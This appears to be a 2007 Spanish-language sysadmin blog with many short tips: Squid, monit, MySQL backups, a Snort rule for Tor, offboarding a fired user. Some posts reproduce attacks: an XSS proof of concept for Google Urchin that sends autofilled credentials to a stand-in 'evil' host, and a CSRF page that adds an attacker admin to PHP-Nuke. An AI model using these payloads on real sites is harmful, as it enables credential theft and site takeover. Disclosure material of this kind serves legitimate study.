¿Quien no echa de menos el autocompletado en linea de comandos de Linux cuando tiene que realizar tareas administrativas desde una linea de comandos CMD?

Pues nada mas facil para conseguir autocompletado en CMD que guardar estas lineas en un archivo llamado por ejemplo autocompletado.reg

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar]
@=9


Y con solo hacer doble click en el archivo ya tenemos autocompletado con TAB en CMD. ¡Muy comodo!

Monitorizacion de sistemas UNIX con monit

monit es un potente software de monitorizacion de sistemas UNIX. La pagina oficial del proyecto es http://www.tildeslash.com/monit/

Esta en el Portage de Gentoo.

Como ejemplo voy a mostrar el archivo de configuracion /etc/monitrc que tengo en uno de mis sistemas en el trabajo, con alertas por mail, monitorizacion en mi caso de Squid, etc.

#Start monit in background (run as daemon) and check the services at 2-minute intervals.
set daemon 120

#Set syslog logging with the 'daemon' facility
set logfile syslog facility log_daemon

#Set list of mailservers for alert delivery
set mailserver nuestro.servidor.sendmail

set eventqueue #si el servidor de correo esta caido...
basedir /var/monit #...los eventos se guardan aqui...
slots 1000 #...con este tamaño de cola

#configuramos el remitente
set mail-format { from: operador@nuestro.cliente.es }

#configuramos el/los destinatario/s
set alert sistemas@nosotros.com with reminder on 10 cycles

#Monitorizamos el Squid
#si se cae, que se inicie
check process squid with pidfile /var/run/squid.pid
start program = "/etc/rc.d/init.d/squid start"
stop program = "/etc/rc.d/init.d/squid stop"
#si cpu>60% por 2 ciclos, que avise
if cpu > 60% for 2 cycles then alert
#si cpu>80% por 5 ciclos, que reinicie
if cpu > 80% for 5 cycles then restart
#si totalmen>32.0 MB por 5 ciclos, que reinicie
if totalmem > 32.0 MB for 5 cycles then restart

#Si el espacio en disco usado por Squid supera el 90%, que avise
check device raiz_y_cache_squid with path /dev/md0
if space usage > 90% then alert


Con este ejemplo creo que se ven mas o menos las enormes posibilidades de monit.

Un punto a aclarar es que si queremos hacer modificaciones de daemons monitorizados con monit, primero tenemos que bajar temporalmente el monit con

service rc.monit stop

(en el trabajo en esa maquina corre un Redhat)

luego hacer las modificaciones en los daemons monitorizados que queramos modificar

y por ultimo volver a levantar el monit

service rc.monit start

Esto es asi porque si monit detecta que bajamos un daemon, automaticamente lo levantara, y nosotros no queremos eso.

Por ultimo decir que yo en mi trabajo, tengo una tarea cron que ejecuta un script que detecta si monit no esta en ejecucion, y si no lo esta, lo levanta. Si el cron se cae, entonces estoy apañado, pero cuantas mas capas proactivas ponga para solucionar problemas, mejor. En una entrada anterior hable de ello. Podeis ver ese script usando el buscador de la parte superior de la pagina buscando la sigujiente cadena: "Script que inicia un daemon si comprueba que no esta en ejecucion".

RunAS de Windows en Gnome

Esto no lo he probado porque no uso Gnome, pero leo en http://www.pendrivelinux.com una forma de lograr el equivalente al RunAS de Windows en un sistema Debian-like con Gnome:

En un terminal escribir:

gedit gnome2/nautilus-scripts/Abrir\ como\ root

Añadir lo siguiente y guardar el archivo:

for uri in $NAUTILUS_SCRIPT_SELECTED_URIS; do
gksudo "gnome-open $uri" &
done


Darle permisos de ejecucion:

chmod +x .gnome2/nautilus-scripts/Abrir\ como\ root

A partir de entonces, igual que en Windows, podremos abrir un archivo como root con boton derecho / Scripts / Abrir como root

Backup de una BD MySQL

Una forma elegante de hacerlo es con la utilidad lftp.

En Gentoo:

emerge lftp

En Debian-like:

apt-get install lftp

Y aqui un shell script que he sacado de nixCraft:

#!/bin/bash
### MySQL Server Login Info ###
MUSER="root"
MPASS="MYSQL-ROOT-PASSWORD"
MHOST="localhost"
MYSQL="$(which mysql)"
MYSQLDUMP="$(which mysqldump)"
BAK="/backup/mysql"
GZIP="$(which gzip)"
### FTP SERVER Login info ###
FTPU="FTP-SERVER-USER-NAME"
FTPP="FTP-SERVER-PASSWORD"
FTPS="FTP-SERVER-IP-ADDRESS"
NOW=$(date +"%d-%m-%Y")

[ ! -d $BAK ] && mkdir -p $BAK || /bin/rm -f $BAK/*

DBS="$($MYSQL -u $MUSER -h $MHOST -p$MPASS -Bse 'show databases')"
for db in $DBS
do
FILE=$BAK/$db.$NOW-$(date +"%T").gz
$MYSQLDUMP -u $MUSER -h $MHOST -p$MPASS $db | $GZIP -9 > $FILE
done

lftp -u $FTPU,$FTPP -e "mkdir /mysql/$NOW;cd /mysql/$NOW; mput /backup/mysql/*; quit" $FTPS


Yo como soy vlan7 tengo grabado el script en /home/vlan7/mysql.backup.sh

Y le di permisos de ejecucion:

chmod +x /home/vlan7/mysql.backup.sh

Podemos añadir una tarea cron que se ejecute por ejemplo cada dia por la noche:

crontab -e
@midnight /home/vlan7/mysql.backup.sh >/dev/null 2>&1

miércoles, octubre 03, 2007

Detectando el uso de TOR en nuestra red

TOR usa SSL. SSL usa certificados firmados. TOR firma los certificados distribuidos a los clientes TOR

Jugando con Ethereal podemos llegar a la conclusion de que este filtro:

x509sat.DirectoryString == "TOR"

funciona bien detectando la negociacion SSL de TOR

A partir de esto podemos crear una firma de Snort tal que asi:

alert tcp $HOME_NET any -> any any (msg:"TOR_detected"; content:"|06 03 55 04 0a 13 03 54 4f 52|"; sid:9996; priority:3;)

Javascript para detectar el uso de Privoxy

<script>
var em = document.getElementById("privoxy");
var color = document.defaultView.getComputedStyle(em,null).getPropertyValue("color");
if (color == "rgb(255, 0, 0)") {
alert("Estas usando Privoxy");
} else {
alert("No estas usando Privoxy");
}
</script>

lunes, octubre 01, 2007

Navegacion segura con Squid y SSH

En UNIX:

ssh -L 3128:127.0.0.1:3128 SSH_Server -f -N

En Windows:

Bajamos Plink, que es una version en linea de comandos del cliente SSH Putty.

plink.exe -batch -N -l UserName -pw Password -L 3128:127.0.0.1:3128 SSH_Server

Y ya solo nos queda configurar nuestro navegador para que use el tunel SSH como proxy en la direccion IP 127.0.0.1 y puerto 3128

Squid: Bloquear determinadas extensiones

Si no queremos que los usuarios se bajen por ejemplo archivos con extension mp3, avi, mpg y mpeg, crearemos un archivo con estas extensiones, que residira por ejemplo en /etc/squid/blocks.files.acl y que contendra lo siguiente:

\.[Mm][Pp]3$
\.[Aa][Vv][Ii]$
\.[Mm][Pp][Gg]$
\.[Mm][Pp][Ee][Gg]$


Luego crearemos un archivo HTML que contendra el error que le mostraremos al usuario cuando intente bajarse alguna de estas extensiones, por ejemplo en /etc/squid/error/err_blocked_files

<HTML>
<HEAD>
<TITLE>ERROR: Archivo bloqueado</TITLE>
</HEAD>
<BODY>
<H1>El archivo ha sido bloqueado debido a la nueva politica de seguridad</H1>
<p>Si cree que necesita este archivo contacte con el administrador:</p>
Telf: 777777 (ext 7)<br>
Email: vlan7@midominio.com


Es importante no cerrar el codigo HTML con las etiquetas de cierre </BODY> y </HTML>, pues Squid ya se encarga de cerrarlas.

Ahora nos queda el paso final, y es editar el archivo de configuracion de Squid en /etc/squid/squid.conf

#Denegar extensiones bloqueadas
deny_info err_blocked_files blockfiles
http_access deny blockfiles
#ultima linea
http_access allow all

Squid: Bloquear un puerto

Supongamos que quieres bloquear el puerto del MSN messenger. Edita el archivo de configuracion de Squid /etc/squid/squid.conf

acl block_port port 1863
http_access deny block_port
#ultima linea
http_access allow all


Si por ejemplo no quieres que se aplique esta restriccion a ti como administrador de sistemas que eres, suponiendo que tu IP sea 192.168.1.7

acl block_port port 1863
acl no_block_port_ip src 192.168.1.7
http_access deny block_port !no_block_port_ip
http_access allow all


Una vez cambiada la configuracion reiniciaremos Squid como sigue:

/etc/init.d/squid restart

Squid: Bloquear URLs

Si por ejemplo quieres bloquear todas las URLs del dominio blogspot.com, editar el archivo /etc/squid/squid.conf y añadir en Access Controls la siguiente ACL:

acl blocksites dstdomain .blogspot.com
http_access deny blocksites
#ultima linea
http_access allow all


Si lo que quieres es bloquear todas las URLs que contengan la palabra sex:

acl blockregexurl url_regex -i sex
http_access deny blockregexurl
#ultima linea
http_access allow all


Despues reinicia squid:

/etc/init.d/squid restart

Eleccion de nodos de entrada y salida en TOR (II)

En el post Eleccion de nodos de entrada y salida en TOR se me olvido decir de donde podemos sacar los nicks. Pues bien, podemos sacarlos de una de las siguientes paginas:

http://lefkada.eecs.harvard.edu/cgi-bin/exit.py
https://torstat.xenobite.eu/
http://torstatus.kgprog.com/
http://torstatus.blutmagie.de/
http://tns.hermetix.org/
http://torstat.kleine-eismaus.de/
http://torstatus.torproxy.net/

viernes, septiembre 28, 2007

No funciona tecla ALT GR en Virtual PC 2007

A mi no me funciona la tecla ALT GR en Virtual PC 2007.

Lo soluciono pulsando simultaneamente las teclas CTRL y ALT.

<EDIT 16-11-2009>
Ver una solucion mas elegante propuesta por Autsa en los comentarios :)
</EDIT>

Bug en Debian con la hora del equipo

Existe un bug en Debian que hace que determinados equipos no funcionen correctamente con la interrupcion /dev/rtc, lo que deriva en desajustes en la hora del sistema.

Si tienes problema, puedes verificarlo con el siguiente script:

#!/bin/sh
# detect signs of lacking /dev/rtc interrupt
function interrupt_failure () {
LC_ALL=C /sbin/hwclock --show --debug 2>&1 | \
grep -q "does not have interrupt functions\|to wait for clock tick timed out"
}
if interrupt_failure; then
echo "--directisa is recommended or required"
else
echo "/dev/rtc interrupt works OK"
fi


Para solucionarlo, cambiar en /etc/init.d/hwclock.sh

HWCLOCKPARS="--directisa"

Envio de mail con Perl a traves de Sendmail

#!/usr/bin/perl -w

use strict;

open (MAIL,"|/usr/lib/sendmail -t");
print MAIL "To: to\@e.mail\n";
print MAIL "From: from\@e.mail\n";
print MAIL "Subject: Asunto del mensaje\n\n";
print MAIL "Cuerpo del mensaje\n";
close(MAIL);

exit(1);

jueves, septiembre 27, 2007

Bug en Excel 2007

Excel 2007 no sabe multiplicar:

Excel no sabe multiplicar

El resultado correcto de todas las multiplicaciones deberia ser 65.535

Sin comentarios...

miércoles, septiembre 26, 2007

Evitar una facil identificacion de la version phpbb de nuestro foro

Como todos sabemos, phpbb ya no incluye el numero de version, pero para evitar que los kiddies puedan identificar facilmente nuestra version de phpbb, tenemos que borrar el archivo CHANGELOG.html que se encuentra dentro del directorio docs de nuestro foro.

martes, septiembre 25, 2007

Cuentas shell gratis

HP ofrece cuentas shell gratuitas en http://www.testdrive.hp.com/.

Ofrecen los siguientes S.O.:

HP OpenVMS 8.3
HP-UX 11i 11.11
HP-UX 11i v2
HP-UX 11i v3
Debian GNU/Linux 4.0r0
Mandriva Corporate Server 4.0
Oracle Enterprise Linux 4
Red Hat Ent Linux 5
SuSE Linux Ent Svr 10
FreeBSD 6.2

lunes, septiembre 24, 2007

Google Urchin password theft madness

Existe una vulnerabilidad XSS que es trivialmente explotable en la pagina de login de Google Urchin Web Analytics 5’s. La vulnerabilidad ha sido testeada en las versiones 5.6.00r2, v5.7.01, 5.7.02 y 5.7.03 (ultima). Las versiones anteriores supongo que tambien estaran afectadas. Por si no lo sabes, Google Urchin es la version instalable de Google Analytics.

Adrian Pastor aviso a Google el 25-7-2007 y Google le confirmo que su equipo de seguridad estaba trabajando para resolver el problema. Su intencion original era publicar la vulnerabilidad una vez Google la hubiera arreglado. Sin embargo, hace cosa de un mes, otros hackers descubrieron la vulnerabilidad. Este es el PoC aburrido:

http://target/session.cgi?"><script>alert('XSS')</script><!--

Supongo que estais aburridos de PoCs que solo hacen que salten ventanitas emergentes. Pues bien, aqui teneis un PoC que roba el user/pass de la victima con solo hacer click. El unico requisito es que la victima use el autocomplete passwords, es decir, la varita de mi navegador favorito, el Opera, que recuerda contraseñas. Ahi va:

http://target/session.cgi?"></form><script>setTimeout("location%3d'http://evil/?usr%3d'%2bdocument.forms[0].user.value%2b'%26pwd%3d'%2bdocument.forms[0].pass.value;",1500);</script><!--

O mas transparente y elegante aun. Podemos crear una imagen con JavaScript para que las credenciales se capturen en segundo plano:

http://target/session.cgi?"></form><script>h%3dnew%20Image();setTimeout("h.src%3d'http://evil/?usr%3d'%2bdocument.forms[0].user.value%2b'%26pwd%3d'%2bdocument.forms[0].pass.value;",1500);</script><!–-

Desfragmentacion en Linux

defrag es un proyecto abandonado. Un hacker frances programo hace poco mas de 1 año shake. Al parecer es bastante mas potente. Podemos hacer cosas como por ejemplo:

find /home/vlan7/mp3 -iname '*.mp3' |sort |shake para desfragmentar todos los mp3 dentro del directorio /home/vlan7/mp3 poniendolos todos juntos por orden alfabetico.

Pagina principal del proyecto: http://vleu.net/shake/

Esta en el Portage de Gentoo.

Hilo en los foros de Gentoo donde el autor presento el proyecto: http://forums.gentoo.org/viewtopic-t-463204.html?sid=fce6f8449cdcf39588d55fa7d4b6d689

Para sistemas de archivos XFS existe un programa llamado xfs_fsr

WPIDS - PHPIDS your Wordpress the comfy way

Es un plugin para wordpress que no he probado, pero al parecer provee a wordpress de caracteristicas de un IDS, por lo que lo hace mas seguro.

Esta es la web:

http://php-ids.org/2007/09/12/wpids-phpids-your-wordpress-the-comfy-way/

Plugin para cifrar archivo configuracion Wordpress

Leo esto en un comentario de un blog:

I wrote a personal plugin encryptconf wich encrypts the wordpress configuration file. Might want to give it a look: http://www.rezen.org/encryptconf.zip

Comment by ReZEN — September 21, 2007 #

PHP-Nuke add admin ALL Versions

Citando a h3llcode:

Paste this code into an HTML page then link it to victim (victim must be admin)

<iframe name="aiuto" frameborder="0" height="0" width="0"></iframe>
<FORM name="Faiuto" ACTION="http://VICTIMURL/nuke/admin.php" target="aiuto" METHOD=POST>
<input type=hidden NAME="add_name" value="ATTACKER">
<input type=hidden NAME="add_aid" value="ATTACKER">
<input type=hidden NAME="add_email" value="YOURMAIL@YOURDOMAIN.IT">
<input type=hidden NAME="add_url" value="YOURSITE">
<input type=hidden NAME="add_admlanguage" value="italian">
<input type=hidden NAME="add_radminsuper" value="1">
<input type=hidden NAME="add_pwd" value="YOURPASSWORD">
<input type=hidden NAME="op" value="AddAuthor">
<input type="image" height="0" width="0">
</FORM><SCRIPT>document.Faiuto.submit()</SCRIPT>

You are admin now ;)

Then you can log in into phpnuke with user HACKER and pass YOURPASSWORD...


El codigo tiene un error que salta a la vista, no se si es intencional anti-script-kiddies, pero yo lo dejo asi... quien sepa un poco ya sabra corregirlo.

Dice Blaine de bugtraq:

Nuke 8 produces this page output, hence not vulnerable.

Posting from another server not allowed!

~ Blaine

Asegurando un servidor DHCP que corre en nuestro Controlador de Dominio

Basandome en http://support.microsoft.com/kb/255134/ leo que por motivos de seguridad no es conveniente tener el servicio DHCP corriendo en el DC. Pero que si lo tenemos, que modifiquemos la configuración del servidor DHCP para que use credenciales alternativas a la del administrador de dominio cuando haga actualizaciones dinamicas de DNS.

Por defecto, el servidor DHCP corre bajo las credenciales de la cuenta administrador del servidor que lo aloja. Si en nuestro caso el servidor es el DC, corre con la cuenta del dominio. Un DC tiene permisos totales sobre cualquier zona integrada en Active Directory que replica. El resultado de tener DHCP corriendo en un DC es que si el servidor DHCP ha sido configurado para registrar dinamicamente los registros DNS en los nombres de los clientes, puede potencialmente actualizar cualquier registro almacenado en una zona integrada en AD. Esto deja a las zonas vulnerables a ataques hijacking, por lo que un cliente puede sobrescribir registros que no deberian ser sobrescritos. Esto puede causar todo tipo de estragos si un atacante reemplaza registros importantes en nuestras zonas.

Microsoft recomienda, como he dicho al principio, no correr DHCP en DCs. Pero a partir de Windows 2000 Server SP1, podemos defendernos de los problemas de seguridad causados por correr un DHCP en un DC, usando credenciales alternativas para cuando se realicen actualizaciones dinamicas. La cuenta no necesita privilegios especiales para ello.

En el articulo de la URL que he dicho al principio, Microsoft explica como hacerlo por linea de comandos con netsh, pero yo aprendi a hacerlo con la herramienta administrativa del DHCP (dhcpmgmt.msc). Boton derecho en el servidor DHCP, Propiedades, pestaña Opciones Avanzadas, boton Credenciales, y ahi introducimos el usuario sin privilegios, dominio y password. Y luego todo OK hasta cerrar todas las ventanas.

Por linea de comandos con netsh, seria asi:

Eliminamos las credenciales DNS usadas por el servidor DHCP:

netsh dhcp server delete dnscredentials dhcpfullforce

Configuramos nuevas credenciales DNS en el servidor DHCP:

netsh dhcp server set dnscredentials <Usuario> <Dominio> <Password>

Por ultimo, decir que podemos ver las credenciales DNS actualmente usadas por el servidor DHCP:

netsh dhcp server show dnscredentials

viernes, septiembre 21, 2007

UNIX: Eliminar por completo un usuario de forma metodica

Han despedido a vlan7 de la empresa. Para eliminar al usuario vlan7 por completo del sistema:

1. Deshabilitar su password:
passwd -l vlan7

2. Encontrar todos sus archivos:
find / -user vlan7

Si estuvieramos seguros de que no van a readmitir a vlan7 en la empresa, podemos eliminar todos sus archivos de golpe asi:

find / -user vlan7 -exec rm {} \;

3. Cambiar su shell por defecto:
En /etc/passwd cambiar...

vlan7:x:1001:1001:vlan7:/home/vlan7:/bin/bash

por...

vlan7:x:1001:1001:vlan7:/home/vlan7:/bin/false

Ademas, por si vlan7 intenta entrar en el sistema, le mostraremos una advertencia. Crearemos un archivo de texto en /etc/nologin.txt:

echo vlan7, usted ha sido despedido de la empresa, le rogamos no intente acceder a nuestros sistemas >/etc/nologin.txt

4. Impedirle el acceso por SSH o rlogin:
Si usas SSH en tu sistema y permites autenticacion remota por claves RSA o DSA, vlan7 podria tener acceso al sistema aunque su password este deshabilitado, pues SSH no mira en /etc/shadow, sino que mantiene sus propias claves. Por ejemplo, vlan7 podria conectarse a nuestro sistema con un comando como:

vlan7:~$ ssh -f -N -L8000:intranet.nuestrosistema.com:80 mi.dominio.com

Con esto vlan7 redirigiria el trafico al puerto 80 (donde tenemos nuestro servidor web escuchando) de nuestro servidor interno.

Eliminemos pues las claves autorizadas de vlan7:

rm -fr /home/vlan7/.ssh/*
rm -fr /home/vlan7/.ssh2/*


Y tambien sus archivos .shosts y .rhosts:

rm -fr /home/vlan7/.shosts
rm -fr /home/vlan7/.rhosts


5. Matar los procesos de vlan7:
ps -aux |grep -i ^vlan7

Si nos devuelve algun proceso, por ejemplo...

vlan7 7777 0.0 0.1 777 77 ? xxx 07:07 0:00 /usr/sbin/algunproceso

...lo matamos:

kill -9 7777

6. Eliminar las tareas cron de vlan7:
crontab -u vlan7 -l

Si nos devuelve alguna tarea cron, por ejemplo...

77 7 * * * /usr/bin/algunproceso

...la deshabilitamos editandola...

crontab -u vlan7 -e

...y la comentamos:

#77 7 * * * /usr/bin/algunproceso

En lugar de deshabilitar las tareas de vlan7, tambien podemos eliminarlas asi:

crontab -u vlan7 -r

7. Mantener el directorio personal de vlan7:
Por si vlan7 es readmitido en nuestra empresa.

mv /home/vlan7 /home/vlan7.locked

8. Eliminar a vlan7 de sudoers:
Si usamos sudo deberiamos eliminar a vlan7 de /etc/sudoers, o al menos deshabilitarlo.

visudo

9. Eliminar a vlan7 de otras aplicaciones con autenticacion:

Por ejemplo:

9a. Directorios web Apache protegidos por .htaccess / .htpasswd:
Suponiendo que el archivo .htpasswd esta en /var/www/.htpasswd:

htpasswd -D /var/www/.htpasswd vlan7

9b. MySQL:
Si vlan7 tiene un login en nuestra base de datos MySQL, lo eliminaremos asi:

mysql -u root -p
REVOKE ALL PRIVILEGES, GRANT OPTION FROM vlan7;
quit;


9c. Oracle:
Para eliminar el usuario vlan7 de la base de datos Oracle:

DROP USER vlan7

Si ademas queremos eliminar todos los objetos que posea vlan7 tendremos que añadir la clausula CASCADE:

DROP USER vlan7 CASCADE

9d. Samba:
Para deshabilitar la cuenta a vlan7:

smbpasswd -d vlan7

Si estamos seguros de que vlan7 no sera readmitido en la empresa, podemos borrarlo:

smbpasswd -x vlan7

9e. Postfix:
Si Postfix usa para la autenticacion sasldb2 en lugar de /etc/shadow, tenemos que eliminar de ahi a vlan7, de lo contrario podra mandar mails usando nuestro servidor de correo Postfix:

saslpasswd2 -d vlan7

Si aun usamos SASL version 1 en lugar de la version 2, el archivo no es /etc/sasldb2, sino /etc/sasldb, y el comando es:

saslpasswd -d vlan7

9f. Sendmail::
Por las mismas razones explicadas en la seccion de Postfix, borraremos a vlan7 de la base de datos /etc/pop.auth con el comando siguiente:

popauth -delete vlan7

***

Si a alguno de mis lectores se le ocurre algun otro paso, o algun otro demonio, estoy deseando que me deje un comentario para mejorar este post añadiendo tus mejoras con creditos hacia ti.

Solaris: Impedir que los usuarios cambien el propietario de sus archivos

Para impedir que los usuarios del sistema puedan cambiar el propietario de sus archivos mediante el comando chown, editar /etc/system e incluir la linea:

set rstchown=0

Con la variable a 0 lo impediremos. Con la variable a 1 lo permitiriamos.

Es necesario reiniciar la maquina.

UNIX: Encontrar y eliminar todos los archivos core

find / -name core -exec rm {} \;

<EDIT 12-2-2008>
Tal y como apunto Luisgﮓﻊﮓ en un comentario, podemos encontrar archivos con el nombre core, muy mal por mi parte no haber pensado en ello.

El recomienda acotar la busqueda al directorio home del usuario.

Yo lo que haria es primero buscar los archivos core en la raiz con

find / -name core -exec rm {} \;

Y luego ir eliminandolos de los directorios donde estemos seguros que solo haya archivos core. Por ejemplo:

find /home/vlan7 -name core -exec rm {} \;
</EDIT 12-2-2008>

Añadir un buscador en blogspot

En un post anterior describi como añadir un boton de busqueda que usara el motor de google. Eso es independiente de donde tengas alojada tu pagina.

Pero en el caso particular de blogspot, existe una manera mas elegante y practica de hacerlo.

Edita tu plantilla y añade el codigo HTML siguiente:

1. <form id="searchthis" action="/search" style="display:inline;" method="get">
2. <input id="search-box" name="q" type="text"/>
3. <input id="search-btn" value="Buscar" type="submit"/>
4. </form>


He numerado las lineas porque alguna es larga.

Y se mostrara tu blog con los posts en los que aparezca la palabra a buscar. Mucho mas elegante, pues es 100% HTML, nada de Javascript, y ademas se te muestran los posts limpiamente, de forma directa, sin tener que pasar por Google.

Yo he dejado ambos botones de busqueda en mi blog.

TOR + Blossom: Elegir pais por el que quieres salir

Blossom es una extension a TOR escrito en python que permite elegir el pais por el que queremos salir por el circuito TOR.

Citando parte de su filosofia de la pagina principal del proyecto:

The Blossom software uses Tor for constructing circuits and transporting data. Blossom uses an alternate network discovery algorithm and its own directory servers. Unlike Tor directory servers, Blossom directory servers perform routing, using a policy-enhanced path-vector protocol. Both Blossom networks and Tor networks consist of interconnected proxies, but where Tor chooses to optimize for anonymity, Blossom chooses to optimize for reachability instead. So, Blossom affords users the ability to specify the perspective from which they want to view the Internet by sacrificing many of the stronger anonymity benefits of Tor. For example, unlike the Tor network, the Blossom network allows overlay topologies that are not fully-connected.

Pagina principal del proyecto Blossom: http://afs.eecs.harvard.edu/~goodell/blossom/

No voy a explicar como poner a correr Blossom, los desarrolladores lo explican perfectamente en http://afs.eecs.harvard.edu/~goodell/blossom/running.html

Curiosa manera de saber tu IP publica

Si quieres saber cual es tu IP publica, esta chica se encarga de decirtelo:

http://www.moanmyip.com/

P.D. Conecta los altavoces :)

jueves, septiembre 20, 2007

UNIX/Linux: Copiar el MBR

Para copiar el MBR de por ejemplo hda a hdb, nada mas sencillo que usar dd:

dd if=/dev/hda of=/dev/hdb bs=512 count=1.

¿Por que 512 bytes? Porque es lo que ocupa el MBR.

OpenBSD: Reset root password

En el prompt boot> escribir:

boot -s

para entrar en modo monousuario.

Se nos mostrara el mensaje siguiente:

Enter pathname of shell or RETURN for sh:

Simplemente pulsamos INTRO para cargar sh.

Una vez cargada la shell, montamos los sistemas de archivos / y /usr en modo lectura/escritura:

# mount -uw /
# mount /usr


Por ultimo cambiamos el password de root:

# passwd

Ya solo nos queda pulsar CTRL+D (o el comando exit) para arrancar en modo multiusuario. O simplemente reiniciar la maquina con:

# reboot

Identificar que version de SQL Server estamos usando

Usar una de estas querys:

Para SQL Server 2000/2005:

SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY ('productlevel'), SERVERPROPERTY ('edition')

Para SQL Server 6.5/7.0:

SELECT @@VERSION

Nos devolvera el Service Pack y el build.

¿Eres de Turquia y no puedes leer Wordpress?

La justicia turca bloqueo con su proxy censurador todo el dominio de Wordpress asi como sus blogs, todo porque en uno de ellos se hablaba de la teoria del creacionismo.

Pues bien, como la informacion debe ser libre, los hackers de The Great Firewall of Turkey han conseguido hacer un efecto espejo con absolutamente todos los blogs y contenido de Wordpress a wordprexy.com, estando todo ahora mismo accesible al publico turco. Gracias a un web-proxy, han conseguido llevarlo a cabo.

Windows Vista Serial Key Disclosure

Este es el post que mi compañero Kyrie de Wadalbertia envio a bugtraq informando del data-disclosure descubierto por el:

:::

Vendedor: Microsoft (http://www.microsoft.com)

Software: Microsoft Windows Vista (Installation DVD).

Plataforma: x86/x86_64

Sitio web: http://www.microsoft.com/vista

Tipo de vulnerabilidad: it’s not really a vulnerability, es data disclosure.

Vulnerabilidad: primero, un poco de historia. Descubri este “bug” dos semanas después del lanzamiento de Vista,pero estuve medio con pereza, hasta hoy.

No es una vulnerabilidad en sí, pero creo yo que es bastante crítica.

Debido a un problema en la instalación de Vista, tuve que buscar un archivo que no se podía leer en el DVD (fallo CRC32) durante la instalación del SSOO. Despues de debuggear un poco con STraceNT e investigar el archivo en sí, encontré algo extraño en [DVD]:\sources\inf\setup.cfg, linea 102 and 103.

Esas lineas dicen:

[DefaultImageSelection]
Value=XXXXX-XXXXX-XXXXX-XXXXX-XXXXX

[Editado por razones obvias, jejeje, igual está en ese archivo.]

"OMG! Un serial key de Windows!" me dije. Luego de encontrar eso, chequeé el serial con un checker de serial keys de distribucion privada que tengo, y me devuelve el dato que ese serrial es valido, y corresponde la edicion Enterprise de Microsoft Windows Vista.

Probé esa clave y anduvo perfecto.

Mis primeras conclusiones sobre el serial key son que es parte de una subrutina para validar cieto tipo de input "no interactive" del instalador, usando la libreria pidgenx.dll.

:::::::::::::::::::::::::::::::::::::::::::::::

Output del checker:

Serial: XXXXX-XXXXX-XXXXX-XXXXX-XXXXX

PID: 55041-236-0200005-71337

Edition: Business

Subtype: X12-89084

Crypt ID: 142

:::::::::::::::::::::::::::::::::::::::::::::::

Solucion: aparentemente, no instalar Vista. xD

Le avise a Microsoft de esto, pero hasta ahora no recibí respuesta desde la compañía.

Vulnerabilidad descubierta por: Manu (manuuu@darkprOtocOls.net)

Orgullosamente desde Argentina.

Creditos: a SparK, por hacerme acordar de publicar esto.

:::

lunes, septiembre 17, 2007

Esa maravillosa anarquia que funciona llamada Internet...

...si tuviera un decalogo podria ser este:

1. El mundo esta lleno de problemas fascinantes que esperan ser resueltos.

2. Nadie deberia tener que resolver un problema dos veces.

3. Lo aburrido y rutinario es malo.

4. La libertad es buena.

5. El acceso a los ordenadores y a todo lo que pueda enseñar alguna cosa sobre como funciona el mundo debe ser ilimitado y total.

6. Toda la informacion deberia ser libre.

7. No creas a la autoridad. Promueve la descentralizacion.

8. Los hackers deberian ser juzgados por su hacking, sin importar sus titulos, edad, raza o clase social.

9. Puedes crear arte y belleza con un ordenador.

10. Los ordenadores pueden cambiar tu vida a mejor.

Añadir citas aleatorias al principio de nuestro blog o web

Tomando como ejemplo a blogspot, para añadir citas aleatorias podriamos hacerlo en Javascript de una forma sencilla.

Por ejemplo, editando la plantilla yo tengo justo debajo de la etiqueta <body> el siguiente codigo Javascript:

<script language='Javascript'>
var inputs=new Array();
inputs[0] = "'Yo he hecho eso', dice mi memoria. Yo no puedo haber hecho eso - dice mi orgullo y permanece inflexible. Al final - la memoria cede<br>Nietzsche";
inputs[1] = "Más de un pavo real oculta su cola a los ojos de todos - y a esto lo llama su orgullo<br>Nietzsche";
inputs[2] = "Con nuestros principios queremos tiranizar o justificar u honrar o injuriar u ocultar nuestros hábitos: - dos hombres con principios idénticos probablemente quieren, por esto, algo radicalmente distinto<br>Nietzsche";
inputs[3] = "<i>Corazón sujeto, espíritu libre.</i> - Cuando sujetamos con dureza nuestro corazón y lo encarcelamos, podemos dar muchas libertades a nuestro espíritu: ya lo he dicho una vez. Pero no se me cree, suponiendo que no se lo sepa ya...<br>Nietzsche";
inputs[4] = "De las personas muy inteligentes comenzamos a desconfiar cuando se quedan perplejas<br>Nietzsche";
inputs[5] = "¿Quién, por salvar su buena reputación, no se ha sacrificado ya alguna vez a sí mismo? -<br>Nietzsche";
inputs[6] = "¿Cómo? ¿Un gran hombre? Yo veo siempre tan sólo al comediante de su propio ideal<br>Nietzsche";
inputs[7] = "Habla el desilusionado. - 'Esperaba oír un eco, y no oí más que alabanzas -'<br>Nietzsche";
var index = Math.floor(Math.random() * inputs.length);
document.write(inputs[index]);
</script>


Tengo mas que 7, pero para no alargarme muestro las primeras 7 citas, mi numero favorito es el 7, de ahi mi nick vlan7, soy la vlan numero 7 :)

Por cierto, para que se puedan visualizar vuestras citas, tendreis que quitar la barra superior de publicidad de blogger. En el post anterior explique el hack para conseguirlo.

Quitar la barra superior de publicidad de blogspot

Editar la plantilla, y justo debajo de

<style type="text/css">

añadir lo siguiente:

#navbar-iframe {
height:0px;
visibility:hidden;
display:none
}

Programa en C que calcula la letra del DNI a partir del numero

/* Programa que calcula la letra del DNI (español) a partir del número */
/* Autor: Fernando Jimenez Larrea */

#include
main()
{
int a, b=0, l;
char cifra;
char letras[]="TRWAGMYFPDXBNJZSQVHLCKE\0";
printf("Introduzca num DNI(8 car) ");
for (a=0; a<8; a++)
{
cifra=getchar();
b=b * 10 + (cifra - '0');
}
l=b - (b / 23 * 23);
printf("\n NIF %d - %c\n\n",b,letras[l]);
}

viernes, septiembre 14, 2007

Cifrar particiones de vuestro HD

El mejor software que he encontrado para ello es Truecrypt. Es open-source y existen versiones tanto para windows como para Linux. ¿Para cuando una version para UNIX Solaris bajo Sparc?

La URL principal del proyecto es:

http://www.truecrypt.org/

Paso a citar su propia presentacion:

Free open-source disk encryption software for Windows Vista/XP/2000 and Linux

Main Features:

* Creates a virtual encrypted disk within a file and mounts it as a real disk.

* Encrypts an entire hard disk partition or a storage device such as USB flash drive.

* Encryption is automatic, real-time (on-the-fly) and transparent.

* Provides two levels of plausible deniability, in case an adversary forces you to reveal the password:

1) Hidden volume (steganography – more information may be found here).

2) No TrueCrypt volume can be identified (volumes cannot be distinguished from random data).

* Encryption algorithms: AES-256, Serpent, and Twofish. Mode of operation: LRW.


